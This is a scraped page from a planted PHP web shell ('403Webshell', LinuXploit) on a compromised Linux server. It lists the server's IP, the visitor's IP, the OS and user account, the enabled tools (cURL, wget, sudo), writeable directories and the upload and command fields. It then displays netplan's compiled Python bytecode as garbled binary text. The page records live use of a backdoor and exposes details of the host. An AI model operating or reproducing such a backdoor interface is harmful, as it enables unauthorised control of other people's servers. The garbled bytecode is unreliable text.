403Webshell
Server IP : 159.223.102.202  /  Your IP : 216.73.216.195
Web Server : nginx/1.26.0
System : Linux Gen1-cloudpanel2ubuntu2404-1vcpu-1gb-nyc1-01 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User : albasshbotta ( 1021)
PHP Version : 8.2.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/netplan/netplan_cli/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/netplan/netplan_cli/cli/commands/__pycache__/generate.cpython-312.pyc
�

�!f ��f�dZddlZddlZddlZddlZddlZddlmZGd�dej�Z	y)znetplan generate command line�N�)�utilsc�*��eZdZ�fd�Zd�Zd�Z�xZS)�NetplanGeneratec�*��t�|�ddd��y)N�generatezFGenerate backend specific configuration files from /etc/netplan/*.yamlT)�
command_id�description�leaf)�super�__init__)�self�	__class__s ��7/usr/share/netplan/netplan_cli/cli/commands/generate.pyr
zNetplanGenerate.__init__s ���
���J�&A�"�	�	$�c���|jjdd��|jjdd��|j|_|j	�|j�y)N�
--root-dirzOSearch for and generate configuration files in this root directory instead of /)�help�	--mappingzFDisplay the netplan device ID/backend/interface name mapping and exit.)�parser�add_argument�command_generate�func�
parse_args�run_command)rs r�runzNetplanGenerate.run%sa����� � ��&w�	!�	y���� � ��&n�	!�	p��)�)��	��������rc
��dtjvrctjd�}|�t	d��tj|ddddddd	g�}|d
k7r|dk(rtd��t	d
|z��ytj�g}|jr|d|jgz
}|jr|d|jgz
}tjd|�tj|�}	tj�t#j$|�y#t
j$r}tj |�Yd}~�Cd}~wwxYw)N�SNAP�busctlzmissing busctl utility�callz--quietz--systemzio.netplan.Netplanz/io/netplan/Netplan�Generater�z8PermissionError: failed to communicate with dbus servicez?RuntimeError: failed to communicate with dbus service: error %srrzcommand generate: running %s)�os�environ�shutil�which�RuntimeError�
subprocessr �PermissionErrorr�get_generator_path�root_dir�mapping�logging�debug�systemctl_daemon_reload�CalledProcessError�warning�sys�exit)rr�res�argv�es     rrz NetplanGenerate.command_generate0s@���R�Z�Z���\�\�(�+�F��~�"�#;�<�<��/�/�6�6�9�j�#7�#8�#7�#-�	#%�&�C��a�x��#�:�)�R�T�T�'�Y�\_�_�a�a���(�(�*�+���=�=��\�4�=�=�1�1�D��<�<��[�$�,�,�/�/�D��
�
�4�d�;��o�o�d�#��	��)�)�+�	����
���,�,�	��O�O�A����	�s�1D�E
�.E�E
)�__name__�
__module__�__qualname__r
rr�
__classcell__)rs@rrrs���$�	�,rr)
�__doc__r-r#r2r(r%�r�NetplanCommandr�rr�<module>r?s.��$$��	�
��
��?�e�*�*�?r

Youez - 2016 - github.com/yon3zu
LinuXploit